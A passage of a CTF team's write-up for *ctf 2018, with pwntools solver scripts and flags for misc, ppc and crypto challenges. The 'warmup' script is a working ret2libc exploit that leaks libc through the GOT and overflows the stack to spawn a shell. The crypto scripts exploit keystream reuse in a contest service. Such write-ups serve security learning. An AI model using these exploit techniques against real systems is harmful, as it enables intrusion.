[val_4 = 40, val_1 = 27, val_0 = 8, val_2 = 24, val_3 = 11]
[val_4 = 42, val_1 = 25, val_0 = 10, val_2 = 26, val_3 = 9]
[val_4 = 41, val_1 = 26, val_0 = 9, val_2 = 25, val_3 = 10]
[val_4 = 43, val_1 = 24, val_0 = 11, val_2 = 27, val_3 = 8]
[val_4 = 36, val_1 = 31, val_0 = 4, val_2 = 20, val_3 = 15]
[val_4 = 38, val_1 = 29, val_0 = 6, val_2 = 22, val_3 = 13]
[val_4 = 37, val_1 = 30, val_0 = 5, val_2 = 21, val_3 = 14]
[val_4 = 39, val_1 = 28, val_0 = 7, val_2 = 23, val_3 = 12]
[val_4 = 34, val_1 = 33, val_0 = 2, val_2 = 18, val_3 = 17]
[val_4 = 35, val_1 = 32, val_0 = 3, val_2 = 19, val_3 = 16]
'''</span></code></pre><p>There are multiple solutions. However, Javascript Array.sort() is a weird function... It sort the array in alphabetical order even for numbers, which means &#39;12&#39; &lt; &#39;4&#39;. So the only solution is <code>[val_4 = 47, val_1 = 20, val_0 = 15, val_2 = 31, val_3 = 4]</code>.</p>
<p>Flag: <code>*ctf{web_chal_made_by_binary_players_lol}</code></p>
<h2 id="misc"><a class="header-link" href="#misc"></a>misc</h2>
<h3 id="welcome-(bookgin)"><a class="header-link" href="#welcome-(bookgin)"></a>welcome (bookgin)</h3>
<p>Install: <a href="http://www.ecs.umass.edu/ece/koren/architecture/Simplescalar/SimpleScalar_introduction.htm">http://www.ecs.umass.edu/ece/koren/architecture/Simplescalar/SimpleScalar_introduction.htm</a>
Run: <code>./sim-fast ../1355a2b7-44dc-451f-a826-6debe8467923.welcome</code>
Flag: <code>*ctf{we1_t0_*ctf}</code></p>
<h3 id="warmup-(sces60107)"><a class="header-link" href="#warmup-(sces60107)"></a>warmup (sces60107)</h3>
<p>It&#39;s a easy challenge</p>
<pre class="hljs"><code><span class="hljs-keyword">from</span> pwn <span class="hljs-keyword">import</span> *
<span class="hljs-keyword">import</span> os
r=remote(<span class="hljs-string">"47.91.226.78"</span>, <span class="hljs-number">10006</span>)
#env = {<span class="hljs-string">'LD_PRELOAD'</span>: os.path.join(os.getcwd(),<span class="hljs-string">'./libc.so.6-56d992a0342a67a887b8dcaae381d2cc51205253'</span>)}
#r=process(<span class="hljs-string">"./warmup"</span>,env=env)
#context.terminal = [<span class="hljs-string">'gnome-terminal'</span>, <span class="hljs-string">'-x'</span>, <span class="hljs-string">'sh'</span>, <span class="hljs-string">'-c'</span>]
#gdb.attach(proc.pidof(r)[<span class="hljs-number">0</span>],<span class="hljs-string">'b *'</span>+hex(<span class="hljs-number">0x400961</span>)+<span class="hljs-string">'\nc\n'</span>)


poprdi=<span class="hljs-number">0x400a63</span>
main=<span class="hljs-number">0x4008b9</span>
putsgot=<span class="hljs-number">0x600fa8</span>
putsplt=<span class="hljs-number">0x4006d8</span>

# you can read whatever you want
print r.recvuntil(<span class="hljs-string">"What are you looking for?"</span>)
r.sendline(str(putsgot))
print r.recvline()
libbase=int(r.recvline(),<span class="hljs-number">16</span>)<span class="hljs-number">-0x6f690</span>

# compute <span class="hljs-keyword">system</span> address
<span class="hljs-keyword">system</span>=libbase+<span class="hljs-number">0x45390</span>
poprdi=libbase+<span class="hljs-number">0x21102</span>
binsh=libbase+<span class="hljs-number">0x18cd57</span>
print hex(libbase)

# Easy stack overflow
print r.recvuntil(<span class="hljs-string">"What's your name?"</span>)
r.sendline(<span class="hljs-string">"a"</span>*<span class="hljs-number">40</span>+p64(poprdi)+p64(binsh)+p64(<span class="hljs-keyword">system</span>))


r.interactive()
# *ctf{h0pe_th1s_e4zy_gam3_warm_y0u_up}</code></pre><h2 id="ppc"><a class="header-link" href="#ppc"></a>ppc</h2>
<h3 id="magic_number-(b04902036)"><a class="header-link" href="#magic_number-(b04902036)"></a>magic_number (b04902036)</h3>
<p>simply use a binary search</p>
<pre class="hljs"><code><span class="hljs-comment">#!/usr/bin/python</span>

<span class="hljs-keyword">from</span> pwn <span class="hljs-keyword">import</span> *

host = <span class="hljs-string">'47.89.18.224'</span>
port = <span class="hljs-number">10011</span>

r = remote(host, port)
count = <span class="hljs-number">0</span>
<span class="hljs-keyword">while</span>(<span class="hljs-number">1</span>):
    count += <span class="hljs-number">1</span>
    r.recvuntil(<span class="hljs-string">': n = '</span>)
    n = int(r.recvuntil(<span class="hljs-string">'\n'</span>).strip())
    dic = dict()
    send_num = <span class="hljs-number">0</span>
    ans = []
    same = <span class="hljs-number">0</span>
    same_ans = <span class="hljs-number">0</span>
    <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(n):
        <span class="hljs-keyword">if</span>(same &gt; <span class="hljs-number">0</span>):
            same -= <span class="hljs-number">1</span>
            <span class="hljs-keyword">for</span> item <span class="hljs-keyword">in</span> total:
                dic[(item[<span class="hljs-number">0</span>], item[<span class="hljs-number">1</span>])] -= <span class="hljs-number">1</span>
            ans.append(same_ans)
            <span class="hljs-keyword">continue</span>
        total = set()
        start = <span class="hljs-number">0</span>
        end = <span class="hljs-number">1024</span>
        prenum = n - i
        <span class="hljs-keyword">while</span>(<span class="hljs-number">1</span>):
            mid = (start + end) // <span class="hljs-number">2</span>
            <span class="hljs-keyword">if</span>((start, mid) <span class="hljs-keyword">in</span> dic):
                num = dic[(start, mid)]
            <span class="hljs-keyword">else</span>:
                send_num += <span class="hljs-number">1</span>
                r.sendline(<span class="hljs-string">'? '</span> + str(start) + <span class="hljs-string">' '</span> + str(mid))
                num = int(r.recvuntil(<span class="hljs-string">'\n'</span>).strip())
                dic[(start, mid)] = num
            <span class="hljs-keyword">if</span>(num &gt; <span class="hljs-number">0</span>):
                prenum = num
                total.add((start, mid))
                dic[(start, mid)] -= <span class="hljs-number">1</span>
                end = mid
                <span class="hljs-keyword">if</span>(mid - start == <span class="hljs-number">1</span>):
                    same = num - <span class="hljs-number">1</span>
                    same_ans = start
                    ans.append(start)
                    <span class="hljs-keyword">break</span>
            <span class="hljs-keyword">else</span>:
                start = mid
                <span class="hljs-keyword">if</span>(end - mid == <span class="hljs-number">1</span>):
                    same = prenum - <span class="hljs-number">1</span>
                    same_ans = mid
                    ans.append(mid)
                    <span class="hljs-keyword">break</span>
    msg = <span class="hljs-string">'!'</span>
    <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> ans:
        msg += <span class="hljs-string">' '</span> + str(i)
    r.sendline(msg)
    <span class="hljs-keyword">if</span>(count == <span class="hljs-number">10</span>):
        <span class="hljs-keyword">break</span>
r.interactive()</code></pre><p>Flag: *ctf{magic algorithm produces magic numbers!}</p>
<h3 id="chess-master-(bookgin)"><a class="header-link" href="#chess-master-(bookgin)"></a>Chess Master (bookgin)</h3>
<p>We use WCCC 2017 champion komodo as our engine. The code is very dirty. We use wireshark to record the last packet and get flag.</p>
<pre class="hljs"><code><span class="hljs-comment">#!/usr/bin/env python3</span>
<span class="hljs-comment"># Python 3.6.4</span>

<span class="hljs-keyword">from</span> pwn <span class="hljs-keyword">import</span> *
<span class="hljs-keyword">import</span> string
<span class="hljs-keyword">import</span> hashlib
<span class="hljs-keyword">import</span> chess <span class="hljs-comment"># https://github.com/niklasf/python-chess</span>
<span class="hljs-keyword">import</span> chess.uci <span class="hljs-keyword">as</span> uci

komodo = <span class="hljs-string">'./komodo-9.02-linux'</span>

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">PoW</span><span class="hljs-params">()</span>:</span>
    r.recvuntil(<span class="hljs-string">'sha256(xxxx+'</span>)
    x = r.recvuntil(<span class="hljs-string">') =='</span>, drop=<span class="hljs-keyword">True</span>).decode()
    y = r.recvline().decode()
    y = y[:<span class="hljs-number">-1</span>]
    print(x)
    print(y)
    s = string.ascii_letters+string.digits
    <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> s:
        <span class="hljs-keyword">for</span> j <span class="hljs-keyword">in</span> s:
            <span class="hljs-keyword">for</span> k <span class="hljs-keyword">in</span> s:
                <span class="hljs-keyword">for</span> l <span class="hljs-keyword">in</span> s:
                    h = hashlib.sha256()
                    guess = (i+j+k+l+x).encode()
                    h.update(guess)
                    z = h.hexdigest()
                    <span class="hljs-keyword">if</span> z == y:
                        print(guess)
                        r.sendline(i+j+k+l)
                        <span class="hljs-keyword">break</span>

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">parseBoard</span><span class="hljs-params">(s, rnd=<span class="hljs-number">0</span>, turn=<span class="hljs-string">'w'</span>)</span>:</span>
    fen = <span class="hljs-string">''</span>
    cnt = <span class="hljs-number">0</span>
    <span class="hljs-keyword">for</span> c <span class="hljs-keyword">in</span> (s.strip() + <span class="hljs-string">'\n'</span>).replace(<span class="hljs-string">' '</span>, <span class="hljs-string">''</span>).replace(<span class="hljs-string">'\n'</span>, <span class="hljs-string">'/'</span>):
        <span class="hljs-keyword">if</span> c == <span class="hljs-string">'.'</span>:
            cnt += <span class="hljs-number">1</span>
        <span class="hljs-keyword">else</span>:
            <span class="hljs-keyword">if</span> cnt != <span class="hljs-number">0</span>:
                fen += str(cnt)
                cnt = <span class="hljs-number">0</span>
            fen += c
    fen = fen.strip(<span class="hljs-string">'/'</span>)
    <span class="hljs-keyword">return</span> chess.Board(f<span class="hljs-string">"{fen} {turn} KQkq - 3 {rnd}"</span>)


engine = uci.popen_engine(komodo)
engine.uci()
print(f<span class="hljs-string">'loaded "{engine.name}"'</span>)


r = remote(<span class="hljs-string">'47.89.11.82'</span>, <span class="hljs-number">10012</span>)
PoW()
print(<span class="hljs-string">'[+] PoW Done'</span>)
r.recvuntil(<span class="hljs-string">'game starts\n'</span>)
engine.ucinewgame()

win_times = <span class="hljs-number">0</span>

<span class="hljs-comment"># Use wireshark to record packet and get flag XD</span>
<span class="hljs-keyword">while</span> <span class="hljs-keyword">True</span>:
    print(win_times)
    buf = r.recvuntil(<span class="hljs-string">'input your move(like e2e4):'</span>, drop=<span class="hljs-keyword">True</span>).decode()
    <span class="hljs-keyword">if</span> <span class="hljs-string">'you win'</span> <span class="hljs-keyword">in</span> buf:
        win_times += <span class="hljs-number">1</span>
        buf = buf[buf.find(<span class="hljs-string">'game starts\n'</span>)+len(<span class="hljs-string">'game starts\n'</span>):]
    raw_board = buf


    board = parseBoard(raw_board)
    engine.position(board)
    best_move, ponder_move = engine.go(movetime=<span class="hljs-number">50</span>)
    r.sendline(str(best_move))
    <span class="hljs-comment">#buf = r.recv(16)</span>
    <span class="hljs-comment">#if b'win' in buf:</span>
    <span class="hljs-comment">#    break</span>
    <span class="hljs-comment">#print(buf)</span>

engine.quit()</code></pre><p>Flag: <code>*ctf{chess_is_s0_ea5y}</code></p>
<h2 id="crypto"><a class="header-link" href="#crypto"></a>crypto</h2>
<h3 id="primitive-(sasdf)"><a class="header-link" href="#primitive-(sasdf)"></a>primitive (sasdf)</h3>
<pre class="hljs"><code><span class="hljs-keyword">from</span> pwn <span class="hljs-keyword">import</span> *
<span class="hljs-keyword">import</span> numpy <span class="hljs-keyword">as</span> np
<span class="hljs-keyword">import</span> itertools <span class="hljs-keyword">as</span> it
<span class="hljs-keyword">import</span> string
<span class="hljs-keyword">from</span> hashlib <span class="hljs-keyword">import</span> sha256
<span class="hljs-keyword">import</span> multiprocessing <span class="hljs-keyword">as</span> mp
<span class="hljs-keyword">from</span> PoW <span class="hljs-keyword">import</span> remote

<span class="hljs-comment"># Connect to game server &amp; PoW</span>
r = remote(<span class="hljs-string">'47.75.4.252'</span>, <span class="hljs-number">10001</span>)

<span class="hljs-comment"># Cipher operations</span>
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">add</span><span class="hljs-params">(a, b)</span>:</span>
    <span class="hljs-keyword">return</span> (a + b) &amp; <span class="hljs-number">0xff</span>

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">rot</span><span class="hljs-params">(a, b)</span>:</span>
    <span class="hljs-keyword">return</span> (a&gt;&gt;(<span class="hljs-number">8</span>-b) &amp; <span class="hljs-number">0xff</span>) | ((a&lt;&lt;b) &amp; <span class="hljs-number">0xff</span>)

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">xor</span><span class="hljs-params">(a, b)</span>:</span>
    <span class="hljs-keyword">return</span> (a ^ b)

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">msb</span><span class="hljs-params">(a)</span>:</span>
    <span class="hljs-keyword">return</span> a &amp; <span class="hljs-number">0x80</span>

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">mask</span><span class="hljs-params">(a, b)</span>:</span>
    <span class="hljs-keyword">return</span> a &amp; (<span class="hljs-number">0xff</span> &lt;&lt; b) &amp; <span class="hljs-number">0x7f</span>


msk = <span class="hljs-number">0</span> <span class="hljs-comment"># How many bits at the end is OK</span>
sft = <span class="hljs-number">0</span> <span class="hljs-comment"># How many times we rotate the bytes.</span>

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">setMSB</span><span class="hljs-params">()</span>:</span>
    <span class="hljs-keyword">global</span> msk, ct, pt
    <span class="hljs-keyword">while</span> <span class="hljs-keyword">True</span>:
        <span class="hljs-comment"># Find which char's MSB needs to be flip.</span>
        flip = [msb(p) != msb(c) <span class="hljs-keyword">for</span> p, c <span class="hljs-keyword">in</span> zip(pt, ct)]
        <span class="hljs-keyword">if</span> <span class="hljs-keyword">not</span> any(flip):
            <span class="hljs-keyword">return</span>

        <span class="hljs-comment"># Get first char that needs to be flip.</span>
        idx = next(i <span class="hljs-keyword">for</span> i, e <span class="hljs-keyword">in</span> enumerate(flip) <span class="hljs-keyword">if</span> e)
        cur = mask(ct[idx], msk)

        <span class="hljs-comment"># Make sure we won't flip some MSB that shouldn't be flip.</span>
        <span class="hljs-keyword">while</span> any(mask(c, msk) == cur <span class="hljs-keyword">for</span> c, f <span class="hljs-keyword">in</span> zip(ct, flip) <span class="hljs-keyword">if</span> <span class="hljs-keyword">not</span> f):
            <span class="hljs-keyword">if</span> msk &lt;= <span class="hljs-number">0</span>:
                <span class="hljs-keyword">raise</span> ValueError(<span class="hljs-string">'Conflict'</span>)
            msk -= <span class="hljs-number">1</span>
            cur = mask(ct[idx], msk)

        <span class="hljs-comment"># Make all bits in range [msk, 7] of target char to be 1.</span>
        cur = mask(~cur, msk)
        <span class="hljs-keyword">assert</span>(cur &gt;= <span class="hljs-number">0</span> <span class="hljs-keyword">and</span> cur &lt; <span class="hljs-number">256</span>)
        r.sendline((<span class="hljs-string">'2 %d'</span> % cur).rjust(<span class="hljs-number">9</span>, <span class="hljs-string">'0'</span>))

        <span class="hljs-comment"># Use carry to flip MSB of target char.</span>
        <span class="hljs-keyword">assert</span>((<span class="hljs-number">1</span> &lt;&lt; msk) &gt;= <span class="hljs-number">0</span> <span class="hljs-keyword">and</span> (<span class="hljs-number">1</span> &lt;&lt; msk) &lt; <span class="hljs-number">256</span>)
        r.sendline((<span class="hljs-string">'0 %d'</span> % (<span class="hljs-number">1</span>&lt;&lt;msk)).rjust(<span class="hljs-number">9</span>, <span class="hljs-string">'0'</span>))

        <span class="hljs-comment"># Update states at local side</span>
        ct = [add(xor(c, cur), (<span class="hljs-number">1</span> &lt;&lt; msk)) <span class="hljs-keyword">for</span> c <span class="hljs-keyword">in</span> ct]

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">run</span><span class="hljs-params">()</span>:</span>
    <span class="hljs-keyword">global</span> pt, ct, msk, sft, cmd
    sft = <span class="hljs-number">0</span>
    msk = <span class="hljs-number">0</span>
    r.recvuntil(<span class="hljs-string">'Current ciphertext is '</span>)
    ct = r.recvline().strip()
    log.info(<span class="hljs-string">'Ciphertext: %s'</span> % ct)
    ct = [ord(c) <span class="hljs-keyword">for</span> c <span class="hljs-keyword">in</span> ct.decode(<span class="hljs-string">'hex'</span>)]
    pt = [ord(c) <span class="hljs-keyword">for</span> c <span class="hljs-keyword">in</span> <span class="hljs-string">'GoodCipher'</span>]

    <span class="hljs-comment"># Keep trying until we success</span>
    <span class="hljs-keyword">while</span> <span class="hljs-keyword">True</span>:
        <span class="hljs-keyword">try</span>:
            setMSB()
            msk += <span class="hljs-number">1</span>
            <span class="hljs-comment"># log.info('msk: %d' % msk)</span>
        <span class="hljs-keyword">except</span> ValueError:
            <span class="hljs-comment"># We have `axxxxxxx` and `bxxxxxxx`, but only one of them need to be flip</span>
            <span class="hljs-comment"># Rotate one bit and retry</span>
            msk = <span class="hljs-number">0</span>
            <span class="hljs-comment"># log.info('Reset')</span>

        <span class="hljs-comment"># Rotate left</span>
        pt = [rot(p, <span class="hljs-number">1</span>) <span class="hljs-keyword">for</span> p <span class="hljs-keyword">in</span> pt]
        ct = [rot(c, <span class="hljs-number">1</span>) <span class="hljs-keyword">for</span> c <span class="hljs-keyword">in</span> ct]
        r.sendline(<span class="hljs-string">'1 1'</span>.rjust(<span class="hljs-number">9</span>, <span class="hljs-string">'0'</span>))
        r.recvuntil(<span class="hljs-string">'OK'</span>)
        sft += <span class="hljs-number">1</span>

        <span class="hljs-comment"># Success</span>
        <span class="hljs-keyword">if</span> msk == <span class="hljs-number">8</span>:
            <span class="hljs-keyword">assert</span>(pt == ct)
            sft = (-sft) % <span class="hljs-number">8</span>
            r.sendline((<span class="hljs-string">'1 %d'</span> % sft).rjust(<span class="hljs-number">9</span>, <span class="hljs-string">'0'</span>))
            r.send(<span class="hljs-string">'0'</span>*<span class="hljs-number">10</span>)
            <span class="hljs-keyword">return</span>

<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(<span class="hljs-number">3</span>):
    run()

r.recvuntil(<span class="hljs-string">'Good job! Your flag here.\n'</span>)
print(r.recv(<span class="hljs-number">1000</span>))</code></pre><h3 id="ssss-(sasdf)"><a class="header-link" href="#ssss-(sasdf)"></a>ssss (sasdf)</h3>
<pre class="hljs"><code><span class="hljs-built_in">from</span> pwn import *
import numpy <span class="hljs-keyword">as</span> np
import hmac,hashlib
<span class="hljs-built_in">from</span> PoW import remote

r = remote(<span class="hljs-string">'47.75.4.252'</span>, <span class="hljs-number">10002</span>)

def pad(msg):
    n = <span class="hljs-number">16</span> - <span class="hljs-built_in">len</span>(msg)%<span class="hljs-number">16</span>
    <span class="hljs-literal">return</span> msg + chr(n)*n

msg = <span class="hljs-string">'\x02Welcome to Sixstars Secret Storage Service\nCommands:\n\tset [key]\tstore a secret with given key\n\tget [key]\tget a secret with given key\n'</span>
msg = pad(msg)

<span class="hljs-comment"># Setup key</span>
r.<span class="hljs-built_in">send</span>(<span class="hljs-string">'\x00'</span> + <span class="hljs-string">'\0'</span> * <span class="hljs-number">16</span>)
s = r.recv(<span class="hljs-number">1</span>+<span class="hljs-number">16</span>+<span class="hljs-number">8</span>)
ctr = s[<span class="hljs-number">1</span>:<span class="hljs-number">17</span>]
mac = s[<span class="hljs-number">17</span>:]

<span class="hljs-comment"># Setup keystream</span>
r.<span class="hljs-built_in">send</span>(<span class="hljs-string">'\x01'</span> + ctr + mac)
r.recvuntil(<span class="hljs-string">'\x01'</span> + ctr)
cipher = r.recv(<span class="hljs-built_in">len</span>(msg))
ks = xor(cipher, msg)[<span class="hljs-number">16</span>:]

plain = pad(<span class="hljs-string">'\x02get flag'</span>)

<span class="hljs-comment"># Get ciphertext of dat['flag']</span>
ct = xor(ks[:<span class="hljs-built_in">len</span>(plain)], plain)
r.<span class="hljs-built_in">send</span>(ct)
ks = ks[<span class="hljs-number">16</span>:]
flag = r.recv(<span class="hljs-number">1000</span>)

<span class="hljs-comment"># Get plaintext of prefix random bytes</span>
rand = xor(ks, flag[:<span class="hljs-built_in">len</span>(ks)])
kks = ks[:]
ks = ks[<span class="hljs-number">16</span>:]

<span class="hljs-comment"># Generate keystream by prefix random bytes</span>
<span class="hljs-keyword">while</span> <span class="hljs-built_in">len</span>(kks) &lt; <span class="hljs-built_in">len</span>(flag):
    ct = xor(ks[:<span class="hljs-built_in">len</span>(plain)], plain)
    r.<span class="hljs-built_in">send</span>(ct)
    ks = ks[<span class="hljs-number">16</span>:]
    res = r.recv(<span class="hljs-number">1000</span>)
    <span class="hljs-built_in">new</span> = xor(res[:<span class="hljs-built_in">len</span>(rand)], rand)
    assert(<span class="hljs-built_in">new</span>[:<span class="hljs-built_in">len</span>(ks)] == ks)
    kks += <span class="hljs-built_in">new</span>[<span class="hljs-built_in">len</span>(ks):]
    ks = <span class="hljs-built_in">new</span>
    ks = ks[<span class="hljs-number">16</span>:]

<span class="hljs-comment"># Decrypt the FLAG</span>
flag = xor(flag, kks[:<span class="hljs-built_in">len</span>(flag)])[<span class="hljs-number">141</span>:]
flag = flag[:-ord(flag[<span class="hljs-number">-1</span>])]
print(flag)

<span class="hljs-comment"># Cleanup</span>
r.<span class="hljs-built_in">close</span>()</code></pre><h3 id="ssss2-(sasdf)"><a class="header-link" href="#ssss2-(sasdf)"></a>ssss2 (sasdf)</h3>
<pre class="hljs"><code>from pwn import *
import numpy <span class="hljs-keyword">as</span> np
import hmac,hashlib
from PoW import remote

r = [remote(<span class="hljs-string">'47.75.4.252'</span>, <span class="hljs-number">10003</span>) <span class="hljs-keyword">for</span> _ in <span class="hljs-built_in">range</span>(<span class="hljs-number">3</span>)]
r1, r2, r3 = r

def pad(msg):
    n = <span class="hljs-number">16</span> - <span class="hljs-built_in">len</span>(msg)%<span class="hljs-number">16</span>
    <span class="hljs-keyword">return</span> msg + chr(n)*n

<span class="hljs-built_in">xor</span> = lambda <span class="hljs-keyword">a</span>, <span class="hljs-variable">b:</span> <span class="hljs-string">''</span>.<span class="hljs-keyword">join</span>(chr(ord(<span class="hljs-keyword">a</span>) ^ ord(<span class="hljs-keyword">b</span>)) <span class="hljs-keyword">for</span> <span class="hljs-keyword">a</span>, <span class="hljs-keyword">b</span> in zip(<span class="hljs-keyword">a</span>, <span class="hljs-keyword">b</span>))

msg = <span class="hljs-string">'\x02Welcome to Sixstars Secret Storage Service\nCommands:\n\tset [key]\tstore a secret with given key\n\tget [key]\tget a secret with given key\n'</span>
msg = pad(msg)

# Setup key
<span class="hljs-keyword">for</span> <span class="hljs-keyword">ri</span> in r:
    <span class="hljs-keyword">ri</span>.send(<span class="hljs-string">'\x00'</span> + <span class="hljs-string">'\0'</span> * <span class="hljs-number">16</span>)
    s = <span class="hljs-keyword">ri</span>.recv(<span class="hljs-number">1</span>+<span class="hljs-number">16</span>+<span class="hljs-number">8</span>)
ctr = s[<span class="hljs-number">1</span>:<span class="hljs-number">17</span>]
mac = s[<span class="hljs-number">17</span>:]

# Setup keystream
<span class="hljs-keyword">for</span> <span class="hljs-keyword">ri</span> in r:
    <span class="hljs-keyword">ri</span>.send(<span class="hljs-string">'\x01'</span> + ctr + mac)
    <span class="hljs-keyword">ri</span>.recvuntil(<span class="hljs-string">'\x01'</span> + ctr)
    cipher = <span class="hljs-keyword">ri</span>.recv(<span class="hljs-built_in">len</span>(msg))
ks = <span class="hljs-built_in">xor</span>(cipher, msg)
kks = ks[:]
ks = ks[<span class="hljs-number">16</span>:]

# Set dat[<span class="hljs-keyword">a</span>] = <span class="hljs-keyword">a</span>
<span class="hljs-keyword">for</span> <span class="hljs-keyword">ri</span> in r:
    <span class="hljs-keyword">ri</span>.send(<span class="hljs-built_in">xor</span>(ks, pad(<span class="hljs-string">'\x02set a'</span>)))
ks = ks[<span class="hljs-number">16</span>:]
<span class="hljs-keyword">for</span> <span class="hljs-keyword">ri</span> in r:
    <span class="hljs-keyword">ri</span>.recvuntil(<span class="hljs-built_in">xor</span>(ks, pad(<span class="hljs-string">'\x02value?'</span>)))
ks = ks[<span class="hljs-number">16</span>:]
<span class="hljs-keyword">for</span> <span class="hljs-keyword">ri</span> in r:
    <span class="hljs-keyword">ri</span>.send(<span class="hljs-built_in">xor</span>(ks, pad(<span class="hljs-string">'\x02a'</span>)))
ks = ks[<span class="hljs-number">16</span>:]
<span class="hljs-keyword">for</span> <span class="hljs-keyword">ri</span> in r:
    <span class="hljs-keyword">ri</span>.recvuntil(<span class="hljs-built_in">xor</span>(ks, pad(<span class="hljs-string">'\x02OK'</span>)))
ks = ks[<span class="hljs-number">16</span>:]
ck = ks[:<span class="hljs-number">16</span>]

# Reset r2 keystream
r2.send(<span class="hljs-built_in">xor</span>(ks, pad(<span class="hljs-string">'\x01'</span> + ctr + mac)))
ks = kks
r2.recvuntil(<span class="hljs-built_in">xor</span>(ks, pad(<span class="hljs-string">'\x01'</span> + ctr)))
ks = ks[<span class="hljs-number">16</span>:]
cipher = r2.recv(<span class="hljs-built_in">len</span>(msg))
assert( <span class="hljs-built_in">xor</span>(cipher, ks) == msg[:-<span class="hljs-number">16</span>] )
ks = ks[<span class="hljs-number">16</span>:]

# Increase r2 counter <span class="hljs-keyword">to</span> (r1 counter + <span class="hljs-number">1</span>)
r2.send(<span class="hljs-built_in">xor</span>(ks, pad(<span class="hljs-string">'\x02get a'</span>)))
ks = ks[<span class="hljs-number">16</span>:]
r2.recvuntil(<span class="hljs-built_in">xor</span>(ks, pad(<span class="hljs-string">'\x02a'</span>)))
ks = ks[<span class="hljs-number">16</span>:]
r2.send(<span class="hljs-built_in">xor</span>(ks, pad(<span class="hljs-string">'\x02get a'</span>)))
ks = ks[<span class="hljs-number">16</span>:]
r2.recvuntil(<span class="hljs-built_in">xor</span>(ks, pad(<span class="hljs-string">'\x02a'</span>)))
ks = ks[<span class="hljs-number">16</span>:]

# Use r1 r2 <span class="hljs-keyword">to</span> generate keystream
def ksgen(ck):
    <span class="hljs-keyword">while</span> True:
        yield ck
        r1.send(<span class="hljs-built_in">xor</span>(ck, pad(<span class="hljs-string">'\x02get a'</span>)))
        ck = r1.recv(<span class="hljs-number">1000</span>)
        assert( <span class="hljs-built_in">len</span>(ck) == <span class="hljs-number">16</span> )
        ck = <span class="hljs-built_in">xor</span>(ck, pad(<span class="hljs-string">'\x02a'</span>))
        yield ck
        r2.send(<span class="hljs-built_in">xor</span>(ck, pad(<span class="hljs-string">'\x02get a'</span>)))
        ck = r2.recv(<span class="hljs-number">1000</span>)
        assert( <span class="hljs-built_in">len</span>(ck) == <span class="hljs-number">16</span> )
        ck = <span class="hljs-built_in">xor</span>(ck, pad(<span class="hljs-string">'\x02a'</span>))
ks = ksgen(ck)

# Get the FLAG
r3.send(<span class="hljs-built_in">xor</span>(<span class="hljs-keyword">next</span>(ks), pad(<span class="hljs-string">'\x02get flag'</span>)))
<span class="hljs-keyword">for</span> i in <span class="hljs-built_in">range</span>(<span class="hljs-number">12</span>):
    <span class="hljs-built_in">log</span>.info(<span class="hljs-string">'Round %d'</span> % i)
    query = r3.recv(<span class="hljs-number">1000</span>)
    assert( <span class="hljs-built_in">len</span>(query) == <span class="hljs-number">16</span> )
    query = <span class="hljs-built_in">xor</span>(<span class="hljs-keyword">next</span>(ks), query)
    <span class="hljs-keyword">a</span>, <span class="hljs-keyword">b</span> = <span class="hljs-keyword">map</span>(<span class="hljs-keyword">int</span>, query[:query.<span class="hljs-built_in">index</span>(<span class="hljs-string">'='</span>)].<span class="hljs-keyword">split</span>(<span class="hljs-string">'+'</span>))
    r3.send(<span class="hljs-built_in">xor</span>(<span class="hljs-keyword">next</span>(ks), pad(<span class="hljs-string">'\x02%d'</span> % (<span class="hljs-keyword">a</span>+<span class="hljs-keyword">b</span>))))

# Decrypt the FLAG
flag = r3.recv(<span class="hljs-number">1000</span>)
<span class="hljs-keyword">k</span> = <span class="hljs-string">''</span>
<span class="hljs-keyword">while</span> <span class="hljs-built_in">len</span>(<span class="hljs-keyword">k</span>) &lt; <span class="hljs-built_in">len</span>(flag):
    <span class="hljs-keyword">k</span> += <span class="hljs-keyword">next</span>(ks)
flag = <span class="hljs-built_in">xor</span>(flag, <span class="hljs-keyword">k</span>)
flag = flag[<span class="hljs-number">141</span>:-ord(flag[-<span class="hljs-number">1</span>])]
<span class="hljs-keyword">print</span>(flag)

# Cleanup
<span class="hljs-keyword">for</span> <span class="hljs-keyword">ri</span> in r:
    <span class="hljs-keyword">ri</span>.<span class="hljs-keyword">close</span>()</code></pre>        </article>
      </div>
    </div>
  </body>
</html>
